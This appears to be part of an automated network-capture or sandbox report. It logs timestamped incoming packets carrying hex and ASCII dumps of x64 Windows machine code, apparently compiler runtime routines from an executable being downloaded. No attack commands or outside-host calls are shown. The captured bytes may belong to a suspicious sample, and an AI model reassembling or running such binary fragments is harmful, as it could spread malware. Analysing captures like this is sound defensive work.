2022-05-23 07:19:16 UTC	48	IN	Data Raw: 38 e8 43 81 ff ff 48 89 44 24 30 48 83 7c 24 30 00 75 04 33 c0 eb 76 48 8b 44 24 38 48 8b 4c 24 48 48 2b c8 48 8b c1 48 c1 f8 03 48 8b 4c 24 30 48 8d 04 c1 48 89 44 24 48 48 8b 44 24 30 48 89 44 24 38 48 8b 4c 24 38 ff 15 a3 57 01 00 48 89 05 64 1e 02 00 48 8b 4c 24 70 ff 15 91 57 01 00 48 8b 4c 24 48 48 89 01 48 8b 44 24 48 48 83 c0 08 48 89 44 24 48 48 8b 4c 24 48 ff 15 70 57 01 00 48 89 05 29 1e 02 00 48 8b 44 24 70 48 83 c4 68 c3 cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 38 48 8b 4c 24 40 e8 ed fd ff ff 48 85 c0 75 0a c7 44 24 20 ff ff ff ff eb 08 c7 44 24 20 00 00 00 00 8b 44 24 20 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 48 c7 44 24 20 cc 00 00 00 4c 8d 0d c5 7d 01 00 41 b8 02 00 00 00 ba 08 00 00 00 b9 20 00 00 00 e8 c8 7f Data Ascii: 8CHD$0H\|$0u3vHD$8HL$HH+HHHL$0HHD$HHD$0HD$8HL$8WHdHL$pWHL$HHHD$HHHD$HHL$HpWH)HD$pHhHL$H8HL$@HuD$ D$ D$ H8HHD$ L}A
2022-05-23 07:19:16 UTC	49	IN	Data Raw: c8 48 8b c1 41 b9 03 00 00 00 4c 8d 05 47 73 01 00 48 8b d0 48 8b 8c 24 60 02 00 00 e8 4f 65 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 1a 01 00 00 4c 8d 0d b7 86 01 00 4c 8d 05 90 86 01 00 48 8d 15 d9 84 01 00 8b c8 e8 92 b1 ff ff 4c 8d 05 a3 75 01 00 ba 14 03 00 00 48 8d 0d 2f ff 01 00 e8 0a 5f 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 1d 01 00 00 4c 8d 0d 72 86 01 00 4c 8d 05 4b 86 01 00 48 8d 15 14 84 01 00 8b c8 e8 4d b1 ff ff 4c 8b 44 24 30 ba 14 03 00 00 48 8d 0d ec fe 01 00 e8 c7 5e 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 1e 01 00 00 4c 8d 0d 2f 86 01 00 4c 8d 05 08 86 01 00 48 8d 15 41 83 01 00 8b c8 e8 0a b1 ff ff 41 b8 10 20 01 00 48 8d 15 dd 82 01 00 48 8d 0d a6 fe 01 00 e8 81 43 00 00 48 8b 8c 24 80 02 00 00 48 33 cc e8 71 63 ff ff Data Ascii: HALGsHH$`OeHD$(D$ LLHLuH/_HD$(D$ LrLKHMLD$0H^HD$(D$ L/LHAA HHCH$H3qc
2022-05-23 07:19:16 UTC	51	IN	Data Raw: c4 78 c3 4a d0 00 00 ea d0 00 00 9a d0 00 00 c2 d0 00 00 72 d0 00 00 3e d1 00 00 00 05 01 05 02 05 01 05 05 01 05 05 05 03 05 05 05 05 05 04 02 cc cc cc cc cc cc cc 48 89 54 24 10 89 4c 24 08 48 83 ec 18 48 8b 44 24 28 48 89 04 24 48 8b 04 24 8b 4c 24 20 39 48 04 74 2a 48 8b 04 24 48 83 c0 10 48 89 04 24 48 63 05 d6 62 01 00 48 6b c0 10 48 8b 4c 24 28 48 03 c8 48 8b c1 48 39 04 24 73 02 eb c9 48 63 05 b8 62 01 00 48 6b c0 10 48 8b 4c 24 28 48 03 c8 48 8b c1 48 39 04 24 73 15 48 8b 04 24 8b 4c 24 20 39 48 04 75 08 48 8b 04 24 eb 04 eb 02 33 c0 48 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 48 8b 0d a5 ff 01 00 ff 15 af 4c 01 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 8b 44 24 08 48 89 05 97 ff 01 00 c3 cc cc cc cc cc cc Data Ascii: xJr>HT$L$HHD$(H$H$L$ 9Ht*H$HH$HcbHkHL$(HHH9$sHcbHkHL$(HHH9$sH$L$ 9HuH$3HH(HLH(HL$HD$H
2022-05-23 07:19:16 UTC	52	IN	Data Raw: 24 70 48 8b 44 24 38 48 8b 8c 24 98 00 00 00 48 2b c8 48 8b c1 48 8b 8c 24 90 00 00 00 48 8d 44 01 01 4c 8b 44 24 70 ba fe 00 00 00 48 8b c8 e8 ba 59 ff ff 33 c0 48 81 c4 88 00 00 00 c3 cc cc cc cc cc cc 66 66 0f 1f 84 00 00 00 00 00 48 8b c1 48 f7 d9 48 a9 07 00 00 00 74 0f 66 90 8a 10 48 ff c0 84 d2 74 5f a8 07 75 f3 49 b8 ff fe fe fe fe fe fe 7e 49 bb 00 01 01 01 01 01 01 81 48 8b 10 4d 8b c8 48 83 c0 08 4c 03 ca 48 f7 d2 49 33 d1 49 23 d3 74 e8 48 8b 50 f8 84 d2 74 51 84 f6 74 47 48 c1 ea 10 84 d2 74 39 84 f6 74 2f 48 c1 ea 10 84 d2 74 21 84 f6 74 17 c1 ea 10 84 d2 74 0a 84 f6 75 b9 48 8d 44 01 ff c3 48 8d 44 01 fe c3 48 8d 44 01 fd c3 48 8d 44 01 fc c3 48 8d 44 01 fb c3 48 8d 44 01 fa c3 48 8d 44 01 f9 c3 48 8d 44 01 f8 c3 cc cc cc cc cc cc cc cc 89 Data Ascii: $pHD$8H$H+HH$HDLD$pHY3HffHHHtfHt_uI~IHMHLHI3I#tHPtQtGHt9t/Ht!ttuHDHDHDHDHDHDHDHD
2022-05-23 07:19:16 UTC	53	IN	Data Raw: 8b 44 24 30 48 8b 88 40 01 00 00 e8 05 75 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 48 01 00 00 e8 ef 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 50 01 00 00 e8 d9 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 70 01 00 00 e8 c3 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 78 01 00 00 e8 ad 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 80 01 00 00 e8 97 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 88 01 00 00 e8 81 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 90 01 00 00 e8 6b 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 98 01 00 00 e8 55 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 68 01 00 00 e8 3f 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 a8 01 00 00 e8 29 74 ff ff ba 02 00 00 00 48 8b 44 24 30 48 8b 88 b0 01 00 00 e8 13 Data Ascii: D$0H@uHD$0HHtHD$0HPtHD$0HptHD$0HxtHD$0HtHD$0HtHD$0HktHD$0HUtHD$0Hh?tHD$0H)tHD$0H
2022-05-23 07:19:16 UTC	55	IN	Data Raw: 34 62 35 38 0d 0a 48 18 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 18 e8 05 70 ff ff 48 8b 44 24 30 48 8b 0d 39 db 01 00 48 39 48 20 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 20 e8 e0 6f ff ff 48 8b 44 24 30 48 8b 0d 1c db 01 00 48 39 48 28 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 28 e8 bb 6f ff ff 48 8b 44 24 30 48 8b 0d ff da 01 00 48 39 48 30 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 30 e8 96 6f ff ff 48 8b 44 24 30 48 8b 0d e2 da 01 00 48 39 48 38 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 38 e8 71 6f ff ff 48 8b 44 24 30 48 8b 0d c5 da 01 00 48 39 48 40 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 40 e8 4c 6f ff ff 48 8b 44 24 30 48 8b 0d a8 da 01 00 48 39 48 48 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 48 e8 27 6f ff ff 48 8b 44 24 Data Ascii: 4b58HtHD$0HHpHD$0H9H9H tHD$0HH oHD$0HH9H(tHD$0HH(oHD$0HH9H0tHD$0HH0oHD$0HH9H8tHD$0HH8qoHD$0HH9H@tHD$0HH@LoHD$0HH9HHtHD$0HHH'oHD$
2022-05-23 07:19:16 UTC	59	IN	Data Raw: 24 40 e8 46 00 00 00 48 8b 4c 24 50 e8 3c 00 00 00 8b 44 24 48 48 81 c4 98 00 00 00 c3 89 54 24 10 48 89 4c 24 08 48 83 7c 24 08 00 74 19 48 8b 44 24 08 8b 4c 24 10 89 08 48 8b 44 24 08 48 83 c0 10 48 89 44 24 08 48 8b 44 24 08 c3 48 89 4c 24 08 48 83 ec 48 48 83 7c 24 50 00 74 6d 48 8b 44 24 50 48 83 e8 10 48 89 44 24 50 48 8b 44 24 50 8b 00 89 44 24 30 81 7c 24 30 dd dd 00 00 75 0c 48 8b 4c 24 50 e8 a2 69 00 00 eb 3e 81 7c 24 30 cc cc 00 00 74 34 33 c0 85 c0 75 2e 48 8d 05 09 6d 01 00 48 89 44 24 20 45 33 c9 41 b8 f8 00 00 00 48 8d 15 84 6c 01 00 b9 02 00 00 00 e8 5a bf ff ff 83 f8 01 75 03 cc 33 c0 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 89 54 24 10 48 89 4c 24 08 48 83 ec 18 8b 44 24 28 89 44 24 08 48 8b 44 24 20 48 89 04 24 8b 44 24 08 Data Ascii: $@FHL$P<D$HHT$HL$H\|$tHD$L$HD$HHD$HD$HL$HHH\|$PtmHD$PHHD$PHD$PD$0\|$0uHL$Pi>\|$0t43u.HmHD$ E3AHlZu3HHT$HL$HD$(D$HD$ H$D$
2022-05-23 07:19:16 UTC	63	IN	Data Raw: 83 bc 24 30 81 00 00 00 74 11 48 8d 05 df 67 01 00 48 89 84 24 c8 80 00 00 eb 0f 48 8d 05 a6 67 01 00 48 89 84 24 c8 80 00 00 4c 8b 84 24 c8 80 00 00 ba 00 10 00 00 48 8d 8c 24 70 30 00 00 e8 e4 11 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 0b 02 00 00 4c 8d 0d 2c 5d 01 00 4c 8d 05 25 69 01 00 48 8d 15 ae 66 01 00 8b c8 e8 67 7b ff ff 4c 8d 84 24 70 50 00 00 ba 00 10 00 00 48 8d 8c 24 70 30 00 00 e8 dd 28 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 0d 02 00 00 4c 8d 0d e5 5c 01 00 4c 8d 05 de 68 01 00 48 8d 15 07 66 01 00 8b c8 e8 20 7b ff ff 83 bc 24 10 81 00 00 02 0f 85 a5 00 00 00 48 63 84 24 10 81 00 00 48 8d 0d 13 ba 01 00 8b 04 81 83 e0 01 85 c0 74 46 4c 8d 05 ce 65 01 00 ba 00 10 00 00 48 8d 8c 24 70 30 00 00 e8 70 28 00 00 48 c7 44 24 28 00 00 Data Ascii: $0tHgH$HgH$L$H$p0HD$(D$ L,]L%iHfg{L$pPH$p0(HD$(D$ L\LhHf {$Hc$HtFLeH$p0p(HD$(
2022-05-23 07:19:16 UTC	67	IN	Data Raw: 00 00 48 8b 44 24 30 48 39 05 95 bf 01 00 74 2c 48 8b 0d 8c bf 01 00 ff 15 36 0c 01 00 48 89 84 24 88 00 00 00 48 83 bc 24 88 00 00 00 00 74 0c ff 94 24 88 00 00 00 48 89 44 24 58 48 83 7c 24 58 00 74 3f 48 8b 44 24 30 48 39 05 5b bf 01 00 74 31 48 8b 0d 52 bf 01 00 ff 15 f4 0b 01 00 48 89 84 24 90 00 00 00 48 83 bc 24 90 00 00 00 00 74 11 48 8b 4c 24 58 ff 94 24 90 00 00 00 48 89 44 24 58 48 8b 0d 11 bf 01 00 ff 15 c3 0b 01 00 48 89 84 24 98 00 00 00 48 83 bc 24 98 00 00 00 00 74 28 44 8b 8c 24 d0 00 00 00 4c 8b 84 24 c8 00 00 00 48 8b 94 24 c0 00 00 00 48 8b 4c 24 58 ff 94 24 98 00 00 00 eb 04 eb 02 33 c0 48 8b 8c 24 a0 00 00 00 48 33 cc e8 06 1d ff ff 48 81 c4 b8 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 4c 89 44 24 18 48 89 Data Ascii: HD$0H9t,H6H$H$t$HD$XH\|$Xt?HD$0H9[t1HRH$H$tHL$X$HD$XHH$H$t(D$L$H$HL$X$3H$H3HLL$ LD$H
2022-05-23 07:19:16 UTC	71	IN	Data Raw: 24 78 ff 0f 84 81 00 00 00 48 81 7c 24 78 ff ff ff 7f 74 76 8b 44 24 30 ff c0 48 98 48 3b 44 24 78 73 67 8b 44 24 30 ff c0 48 98 48 8b 4c 24 78 48 2b c8 48 8b c1 48 39 05 e1 8a 01 00 73 0e 48 8b 05 d8 8a 01 00 48 89 44 24 58 eb 18 8b 44 24 30 ff c0 48 98 48 8b 4c 24 78 48 2b c8 48 8b c1 48 89 44 24 58 8b 44 24 30 ff c0 48 98 48 8b 4c 24 70 48 03 c8 48 8b c1 4c 8b 44 24 58 ba fe 00 00 00 48 8b c8 e8 04 0d ff ff 8b 44 24 30 48 83 c4 68 c3 cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 81 ec 88 00 00 00 c7 44 24 30 ff ff ff ff c7 44 24 34 00 00 00 00 48 83 bc 24 a8 00 00 00 00 74 0a c7 44 24 44 01 00 00 00 eb 08 c7 44 24 44 00 00 00 00 8b 44 24 44 89 44 24 38 83 7c 24 38 00 75 2e 48 8d 05 1a 4f 01 00 48 89 44 Data Ascii: $xH\|$xtvD$0HH;D$xsgD$0HHL$xH+HH9sHHD$XD$0HHL$xH+HHD$XD$0HHL$pHHLD$XHD$0HhLL$ LD$HT$HL$HD$0D$4H$tD$DD$DD$DD$8\|$8u.HOHD
2022-05-23 07:19:16 UTC	74	IN	Data Raw: 32 31 35 62 0d 0a 00 00 00 ff ff ff 7f 74 5e 48 83 bc 24 a8 00 00 00 01 76 53 48 8b 84 24 a8 00 00 00 48 ff c8 48 39 05 ae 81 01 00 73 0e 48 8b 05 a5 81 01 00 48 89 44 24 58 eb 10 48 8b 84 24 a8 00 00 00 48 ff c8 48 89 44 24 58 48 8b 44 24 58 48 d1 e0 48 8b 8c 24 a0 00 00 00 48 83 c1 02 4c 8b c0 ba fe 00 00 00 e8 dd 03 ff ff 48 83 bc 24 b0 00 00 00 00 74 0a c7 44 24 60 01 00 00 00 eb 08 c7 44 24 60 00 00 00 00 8b 44 24 60 89 44 24 44 83 7c 24 44 00 75 2e 48 8d 05 d2 27 01 00 48 89 44 24 20 45 33 c9 41 b8 13 00 00 00 48 8d 15 75 48 01 00 b9 02 00 00 00 e8 8b 84 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 44 00 75 3e e8 f7 7b ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 13 00 00 00 4c 8d 05 3b 48 01 00 48 8d 15 14 48 01 00 48 8d 0d 75 27 01 00 e8 08 Data Ascii: 215bt^H$vSH$HH9sHHD$XH$HHD$XHD$XHH$HLH$tD$`D$`D$`D$D\|$Du.H'HD$ E3AHuHu3\|$Du>{HD$ AL;HHHHu'
2022-05-23 07:19:16 UTC	78	IN	Data Raw: 01 00 00 e9 a4 01 00 00 48 8b 84 24 a0 00 00 00 83 78 0c 00 75 58 48 8b 84 24 a0 00 00 00 8b 00 25 ff ff ff 1f 3d 21 05 93 19 0f 82 7c 01 00 00 48 8b 84 24 a0 00 00 00 83 78 20 00 74 1b e8 52 a7 ff ff 48 8b 8c 24 a0 00 00 00 48 63 49 20 48 03 c1 48 89 44 24 60 eb 09 48 c7 44 24 60 00 00 00 00 48 83 7c 24 60 00 0f 84 3e 01 00 00 48 8b 84 24 80 00 00 00 81 38 63 73 6d e0 0f 85 d4 00 00 00 48 8b 84 24 80 00 00 00 83 78 18 03 0f 82 c2 00 00 00 48 8b 84 24 80 00 00 00 81 78 20 22 05 93 19 0f 86 ad 00 00 00 48 8b 84 24 80 00 00 00 48 8b 40 30 83 78 08 00 74 1f e8 f5 a6 ff ff 48 8b 8c 24 80 00 00 00 48 8b 49 30 48 63 49 08 48 03 c1 48 89 44 24 68 eb 09 48 c7 44 24 68 00 00 00 00 48 8b 44 24 68 48 89 44 24 50 48 83 7c 24 50 00 74 61 0f b6 84 24 b8 00 00 00 89 44 Data Ascii: H$xuXH$%=!\|H$x tRH$HcI HHD$`HD$`H\|$`>H$8csmH$xH$x "H$H@0xtH$HI0HcIHHD$hHD$hHD$hHD$PH\|$Pta$D
2022-05-23 07:19:16 UTC	82	IN	Data Raw: 44 24 40 48 8b 44 24 40 8b 00 ff c0 48 8b 4c 24 40 89 01 83 7c 24 20 ff 0f 84 75 01 00 00 8b 84 24 98 00 00 00 39 44 24 20 0f 8e 64 01 00 00 83 7c 24 20 ff 7e 13 48 8b 84 24 90 00 00 00 8b 40 04 39 44 24 20 7d 02 eb 05 e8 c2 7f ff ff e8 bd 96 ff ff 48 8b 8c 24 0d 0a Data Ascii: D$@HD$@HL$@\|$ u$9D$ d\|$ ~H$@9D$ }H$
2022-05-23 07:19:16 UTC	82	IN	Data Raw: 34 35 64 36 0d 0a 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 8b 04 c8 89 44 24 30 e8 9d 96 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 83 7c c8 04 00 74 3a e8 7d 96 ff ff 48 89 44 24 48 e8 73 96 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 48 63 44 c8 04 48 8b 4c 24 48 48 03 c8 48 8b c1 48 89 44 24 50 eb 09 48 c7 44 24 50 00 00 00 00 48 83 7c 24 50 00 0f 84 a7 00 00 00 44 8b 4c 24 30 4c 8b 84 24 90 00 00 00 48 8b 94 24 88 00 00 00 48 8b 8c 24 80 00 00 00 e8 61 eb ff ff e8 0c 96 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 83 7c c8 04 00 74 3a e8 ec 95 ff ff 48 89 44 24 58 e8 e2 95 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 48 63 44 c8 04 48 8b 4c 24 58 48 03 c8 48 Data Ascii: 45d6HcIHHcL$ D$0H$HcIHHcL$ \|t:}HD$HsH$HcIHHcL$ HcDHL$HHHHD$PHD$PH\|$PDL$0L$H$H$aH$HcIHHcL$ \|t:HD$XH$HcIHHcL$ HcDHL$XHH
2022-05-23 07:19:16 UTC	86	IN	Data Raw: 44 24 70 e9 7b 03 00 00 48 8b 44 24 30 48 ff c0 48 89 44 24 30 48 8b 84 24 e0 00 00 00 48 83 c0 02 48 89 84 24 e0 00 00 00 e9 72 ff ff ff 48 8b 44 24 30 48 89 44 24 78 48 8d 4c 24 38 e8 78 07 ff ff 48 8b 44 24 78 e9 37 03 00 00 e9 45 02 00 00 48 8d 4c 24 38 e8 9f 07 ff ff 48 8b 00 8b 8c 24 f0 00 00 00 89 4c 24 28 48 8b 8c 24 e0 00 00 00 48 89 4c 24 20 41 b9 ff ff ff ff 4c 8b 84 24 e8 00 00 00 ba 09 00 00 00 8b 48 04 ff 15 30 c1 00 00 48 98 48 89 44 24 30 48 83 7c 24 30 00 74 27 48 8b 44 24 30 48 ff c8 48 89 84 24 80 00 00 00 48 8d 4c 24 38 e8 ff 06 ff ff 48 8b 84 24 80 00 00 00 e9 bb 02 00 00 ff 15 bc bf 00 00 83 f8 7a 74 3b e8 12 4a ff ff c7 00 2a 00 00 00 33 c0 48 8b 8c 24 e0 00 00 00 66 89 01 48 c7 84 24 88 00 00 00 ff ff ff ff 48 8d 4c 24 38 e8 b9 06 Data Ascii: D$p{HD$0HHD$0H$HH$rHD$0HD$xHL$8xHD$x7EHL$8H$L$(H$HL$ AL$H0HHD$0H\|$0t'HD$0HH$HL$8H$zt;J*3H$fH$HL$8
2022-05-23 07:19:16 UTC	90	IN	Data Raw: 00 48 8d 15 b5 0a 01 00 48 8d 0d 2e 0b 01 00 e8 91 4c ff ff b8 16 00 00 00 e9 aa 04 00 00 48 83 bc 24 b0 00 00 00 00 76 0a c7 44 24 68 01 00 00 00 eb 08 c7 44 24 68 00 00 00 00 8b 44 24 68 89 44 24 54 83 7c 24 54 00 75 2e 48 8d 05 44 0a 01 00 48 89 44 24 20 45 33 c9 41 b8 67 00 00 00 48 8d 15 6f 0a 01 00 b9 02 00 00 00 e8 75 42 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 54 00 75 3e e8 e1 39 ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 67 00 00 00 4c 8d 05 35 0a 01 00 48 8d 15 16 0a 01 00 48 8d 0d e7 09 01 00 e8 f2 4b ff ff b8 16 00 00 00 e9 0b 04 00 00 48 8b 84 24 a8 00 00 00 c6 00 00 48 83 bc 24 b0 00 00 00 ff 74 68 48 81 bc 24 b0 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 b0 00 00 00 01 76 4f 48 8b 84 24 b0 00 00 00 48 ff c8 48 39 05 77 3e 01 00 73 Data Ascii: HH.LH$vD$hD$hD$hD$T\|$Tu.HDHD$ E3AgHouBu3\|$Tu>9HD$ AgL5HHKH$H$thH$tZH$vOH$HH9w>s
2022-05-23 07:19:16 UTC	94	IN	Data Raw: 24 40 48 83 bc 24 a8 00 00 00 00 0f 84 75 01 00 00 48 8b 84 24 b0 00 00 00 48 39 44 24 40 0f 86 4b 01 00 00 48 83 bc 24 c0 00 00 00 ff 0f 84 27 01 00 00 48 8b 84 24 a8 00 00 00 c6 00 00 48 83 bc 24 b0 00 00 00 ff 74 68 48 81 bc 24 b0 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 b0 00 00 00 01 76 4f 48 8b 84 24 b0 00 00 00 48 ff c8 48 39 05 7c 2e 01 00 73 0e 48 8b 05 73 2e 01 00 48 89 44 24 78 eb 10 48 8b 84 24 b0 00 00 00 48 ff c8 48 89 44 24 78 48 8b 84 24 a8 00 00 00 48 ff c0 4c 8b 44 24 78 ba fe 00 00 00 48 8b c8 e8 af b0 fe ff 48 8b 44 24 40 48 39 84 24 b0 00 00 00 76 0d c7 84 24 80 00 00 00 01 00 00 00 eb 0b c7 84 24 80 00 00 00 00 00 00 00 8b 84 24 80 00 00 00 89 44 24 50 83 7c 24 50 00 75 2e 48 8d 05 9f fa 00 00 48 89 44 24 20 45 33 c9 41 b8 64 01 00 00 Data Ascii: $@H$uH$H9D$@KH$'H$H$thH$tZH$vOH$HH9\|.sHs.HD$xH$HHD$xH$HLD$xHHD$@H9$v$$$D$P\|$Pu.HHD$ E3Ad
2022-05-23 07:19:16 UTC	98	IN	Data Raw: 3b e8 55 19 ff ff c7 00 22 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 8e 00 00 00 4c 8d 05 a9 e9 00 00 48 8d 15 ca ec 00 00 48 8d 0d a3 e8 00 00 e8 66 2b ff ff b8 22 00 00 00 eb 6c 33 c0 48 8b 4c 24 30 66 89 01 48 8b 44 24 30 48 83 e8 02 48 89 44 24 30 48 8b 44 24 30 0f b7 00 66 89 44 24 44 48 8b 44 24 30 48 8b 4c 24 48 0f b7 09 66 89 08 48 8b 44 24 48 0f b7 4c 24 44 66 89 08 48 8b 44 24 30 48 83 e8 02 48 89 44 24 30 48 8b 44 24 48 48 83 c0 02 48 89 44 24 48 48 8b 44 24 30 48 39 44 24 48 72 ae 33 c0 48 81 c4 98 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc 44 89 44 24 18 48 89 54 24 10 89 4c 24 08 48 83 ec 58 48 c7 44 24 30 ff ff ff ff 48 63 44 24 60 48 83 f8 fe 75 22 e8 a5 18 ff ff c7 00 00 00 00 00 e8 6a 18 ff ff c7 00 09 00 00 00 48 c7 c0 ff ff ff ff e9 Data Ascii: ;U"HD$ ALHHf+"l3HL$0fHD$0HHD$0HD$0fD$DHD$0HL$HfHD$HL$DfHD$0HHD$0HD$HHHD$HHD$0H9D$Hr3HDD$HT$L$HXHD$0HcD$`Hu"jH
2022-05-23 07:19:16 UTC	99	IN	Data Raw: 33 38 64 31 0d 0a 44 8b 4c 24 70 4c 8d 44 24 34 8b 54 24 30 48 8b 4c 24 38 ff 15 8a 8c 00 00 89 44 24 30 83 7c 24 30 ff 75 23 ff 15 09 8b 00 00 89 44 24 40 83 7c 24 40 00 74 12 8b 4c 24 40 e8 95 14 ff ff 48 c7 c0 ff ff ff ff eb 59 8b 44 24 60 c1 f8 05 48 98 48 8d 0d 6c 4f 01 00 8b 54 24 60 83 e2 1f 48 63 d2 48 6b d2 58 48 8b 04 c1 0f be 44 10 08 83 e0 fd 8b 4c 24 60 c1 f9 05 48 63 c9 48 8d 15 41 4f 01 00 44 8b 44 24 60 41 83 e0 1f 4d 63 c0 4d 6b c0 58 48 8b 0c ca 42 88 44 01 08 48 8b 44 24 30 48 83 c4 58 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 44 89 44 24 18 48 89 54 24 10 89 4c 24 08 48 83 ec 58 48 63 44 24 60 48 83 f8 fe 75 20 e8 ee 14 ff ff c7 00 00 00 00 00 e8 b3 14 ff ff c7 00 09 00 00 00 b8 ff ff ff ff e9 2f 02 00 00 83 7c 24 60 00 7c 16 8b 05 Data Ascii: 38d1DL$pLD$4T$0HL$8D$0\|$0u#D$@\|$@tL$@HYD$`HHlOT$`HcHkXHDL$`HcHAODD$`AMcMkXHBDHD$0HXDD$HT$L$HXHcD$`Hu /\|$`\|
2022-05-23 07:19:16 UTC	104	IN	Data Raw: 2f 00 00 48 8b 84 24 98 3d 00 00 48 8b 8c 24 a0 2f 00 00 48 2b c8 48 8b c1 3b 84 24 a0 3d 00 00 0f 83 66 02 00 00 c7 84 24 10 3d 00 00 00 00 00 00 48 8d 84 24 e0 28 00 00 48 89 84 24 90 2f 00 00 48 8d 84 24 e0 28 00 00 48 8b 8c 24 90 2f 00 00 48 2b c8 48 8b c1 48 3d a8 06 00 00 0f 83 a7 00 00 00 48 8b 84 24 98 3d 00 00 48 8b 8c 24 a0 2f 00 00 48 2b c8 48 8b c1 3b 84 24 a0 3d 00 00 0f 83 84 00 00 00 48 8b 84 24 a0 2f 00 00 0f b7 00 66 89 84 24 98 2f 00 00 48 8b 84 24 a0 2f 00 00 48 83 c0 02 48 89 84 24 a0 2f 00 00 0f b7 84 24 98 2f 00 00 83 f8 0a 75 24 b8 0d 00 00 00 48 8b 8c 24 90 2f 00 00 66 89 01 48 8b 84 24 90 2f 00 00 48 83 c0 02 48 89 84 24 90 2f 00 00 48 8b 84 24 90 2f 00 00 0f b7 8c 24 98 2f 00 00 66 89 08 48 8b 84 24 90 2f 00 00 48 83 c0 02 48 89 Data Ascii: /H$=H$/H+H;$=f$=H$(H$/H$(H$/H+HH=H$=H$/H+H;$=H$/f$/H$/HH$/$/u$H$/fH$/HH$/H$/$/fH$/HH
2022-05-23 07:19:16 UTC	108	IN	Data Raw: eb bc 00 00 e8 c6 06 ff ff c7 84 24 70 03 00 00 ff ff ff ff 48 8d 4c 24 78 e8 41 b1 fe ff 8b 84 24 70 03 00 00 e9 b5 16 00 00 48 8b 84 24 40 04 00 00 48 89 84 24 d0 02 00 00 48 8b 84 24 d0 02 00 00 8b 40 18 83 e0 40 85 c0 0f 85 01 01 00 00 48 8b 8c 24 d0 02 00 00 e8 b2 f8 ff ff 89 84 24 d8 02 00 00 83 bc 24 d8 02 00 00 ff 74 3f 83 bc 24 d8 02 00 00 fe 74 35 8b 84 24 d8 02 00 00 c1 f8 05 48 98 48 8d 0d 34 2e 01 00 8b 94 24 d8 02 00 00 83 e2 1f 48 63 d2 48 6b d2 58 48 03 14 c1 48 8b c2 48 89 84 24 a0 03 00 00 eb 0f 48 8d 05 fb f8 00 00 48 89 84 24 a0 03 00 00 48 8b 84 24 a0 03 00 00 0f b6 40 38 d0 e0 d0 f8 0f be c0 85 c0 75 71 83 bc 24 d8 02 00 00 ff 74 3f 83 bc 24 d8 02 00 00 fe 74 35 8b 84 24 d8 02 00 00 c1 f8 05 48 98 48 8d 0d c5 2d 01 00 8b 94 24 d8 02 Data Ascii: $pHL$xA$pH$@H$H$@@H$$$t?$t5$HH4.$HcHkXHHH$HH$H$@8uq$t?$t5$HH-$
2022-05-23 07:19:16 UTC	112	IN	Data Raw: 24 48 10 00 00 00 8b 44 24 50 25 80 00 00 00 85 c0 74 1b c6 44 24 54 30 8b 84 24 c4 02 00 00 83 c0 51 88 44 24 55 c7 44 24 5c 02 00 00 00 eb 21 c7 44 24 48 08 00 00 00 8b 44 24 50 25 80 00 00 00 85 c0 74 0c 8b 44 24 50 0f ba e8 09 89 44 24 50 8b 44 24 50 25 00 80 00 00 85 c0 74 1a 48 8d 8c 24 58 04 00 00 e8 0f 57 ff ff 48 89 84 24 38 03 00 00 e9 ad 00 00 00 8b 44 24 50 25 00 10 00 00 85 c0 74 1a 48 8d 8c 24 58 04 00 00 e8 e8 56 ff ff 48 89 84 24 38 03 00 00 e9 86 00 00 00 8b 44 24 50 83 e0 20 85 c0 74 40 8b 44 24 50 83 e0 40 85 c0 74 1b 48 8d 8c 24 58 04 00 00 e8 58 56 ff ff 48 0f bf c0 48 89 84 24 38 03 00 00 eb 18 48 8d 8c 24 58 04 00 00 e8 3d 56 ff ff 0f b7 c0 48 89 84 24 38 03 00 00 eb 3b 8b 44 24 50 83 e0 40 85 c0 74 19 48 8d 8c 24 58 